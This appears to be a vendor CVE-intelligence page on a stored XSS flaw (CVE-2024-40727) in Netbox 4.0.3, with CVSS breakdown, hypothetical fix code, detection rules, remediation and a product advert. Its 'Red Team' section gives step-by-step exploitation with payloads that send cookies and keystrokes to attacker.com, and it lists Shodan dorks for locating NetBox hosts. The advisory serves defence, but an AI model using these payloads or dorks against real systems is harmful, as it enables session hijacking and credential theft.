☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-40727

CVE-2024-40727 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2024-07-09 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 4.0.3 (and possibly earlier)
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-40727 is a stored cross-site scripting (XSS) vulnerability in Netbox v4.0.3, specifically within the /dcim/console-server-ports/add/ endpoint. An authenticated attacker with appropriate permissions can inject arbitrary JavaScript or HTML into the Name parameter, which is then stored and executed in the browsers of other users viewing the affected console server port. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity but requiring user interaction. No official patch has been released as of this report, making manual input validation and output encoding essential for mitigation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Netbox is a Python/Django-based application distributed via PyPI and GitHub. The vulnerability lies in the application’s own code, not in a third-party package. However, organizations should verify the integrity of their Netbox installation and ensure no malicious modifications have been introduced via compromised dependencies.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is performed over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Attacker needs an authenticated account with permission to add console server ports.
  • User Interaction (UI): Required (R) – A victim user must view the malicious port entry.
  • Scope (SC): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited modification of content possible.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases the potential for widespread impact within an organization.

Deep Dive & Mechanics

The vulnerability exists in the dcim/views.py (or equivalent) view handling the creation of console server ports. The Name field is not properly sanitized or encoded before being stored in the database and later rendered in HTML. When a user visits the console server port list or detail page, the malicious payload is executed in their browser context.

Root Cause: Lack of output encoding for user-supplied input in the Name parameter. The application likely uses Django templates with {{ name }} instead of {{ name|escape }} or similar safe filters.

Attack Flow:

  1. Attacker logs in to Netbox with a role that allows adding console server ports.
  2. Attacker navigates to /dcim/console-server-ports/add/ and injects a payload like <script>alert('XSS')</script> into the Name field.
  3. The payload is stored in the database without sanitization.
  4. When an administrator or other user views the console server port list, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Netbox v4.0.3):

# In views.py or similar
class ConsoleServerPortCreateView(generic.CreateView):
    model = ConsoleServerPort
    fields = ['name', 'device', ...]
    # No custom form validation or output encoding

Patched Code (Hypothetical fix):

# In forms.py
from django import forms
from utilities.forms import BootstrapMixin

class ConsoleServerPortForm(BootstrapMixin, forms.ModelForm):
    class Meta:
        model = ConsoleServerPort
        fields = ['name', 'device', ...]
        widgets = {
            'name': forms.TextInput(attrs={'class': 'form-control'}),
        }
    
    def clean_name(self):
        name = self.cleaned_data['name']
        # Sanitize input to prevent XSS
        from django.utils.html import escape
        return escape(name)

Template Fix:

<!-- Vulnerable -->
{{ port.name }}

<!-- Patched -->
{{ port.name|escape }}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Netbox v4.0.3 instance
  • Authenticated user with permission to add console server ports
  • Web browser with developer tools

Step-by-Step Exploitation:

  1. Log in to Netbox as an attacker user.
  2. Navigate to /dcim/console-server-ports/add/.
  3. In the Name field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Fill in required fields (e.g., device) and submit the form.
  5. Wait for an administrator to view the console server ports list.
  6. The administrator’s cookies are exfiltrated to the attacker’s server.

Alternative Payloads:

  • Session hijacking: <img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
  • Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor logs for unusual POST requests to /dcim/console-server-ports/add/ containing HTML tags or JavaScript.
  2. Review database entries for console server ports with suspicious name values.
  3. Use web application firewall (WAF) rules to block common XSS patterns.

Mitigation Steps:

  1. Apply input sanitization and output encoding as shown in the patched code section.
  2. Implement Content Security Policy (CSP) headers to restrict script execution.
  3. Regularly audit user permissions to limit who can add/modify console server ports.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains from Netbox server.
    • Suspicious POST requests to /dcim/console-server-ports/add/ with payloads containing <script>, <img>, or onerror attributes.
  • Host IOCs:

    • Console server port entries in the database with name fields containing HTML/JavaScript.
    • Unusual entries in Netbox audit logs (if enabled).
  • File IOCs:

    • Modified template files (e.g., templates/dcim/console_server_port.html) if attacker gained file write access.

Detection Engineering

YARA Rule

rule Detect_Netbox_XSS_Payload {
    meta:
        description = "Detects XSS payloads in Netbox console server port names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40727"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Netbox Console Server Port XSS Attempt
id: 8f3b2a1c-5d7e-4f9b-8a1c-3d5e7f9b0a2c
status: experimental
description: Detects XSS attempts in Netbox console server port creation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: /dcim/console-server-ports/add/
        http.body|contains:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Netbox Console Server Port XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/dcim/console-server-ports/add/"; http.request_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Implement server-side validation to reject or sanitize HTML/JavaScript in the Name field.
  2. Output Encoding: Ensure all user-supplied data is properly escaped in templates using Django’s |escape filter or {% autoescape on %}.
  3. Update Netbox: Monitor for official patches and upgrade to a fixed version when available.

Long-Term Measures:

  1. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
  2. Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
  3. Regular Security Audits: Conduct code reviews and penetration testing on custom Netbox deployments.
  4. User Training: Educate users about the risks of XSS and the importance of reporting suspicious behavior.

Workaround:

  • Manually edit the template file templates/dcim/console_server_port.html (or equivalent) to add |escape to all {{ name }} occurrences.

Valters IT
Securing Digital Infrastructure

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:NetBox
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-40727/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.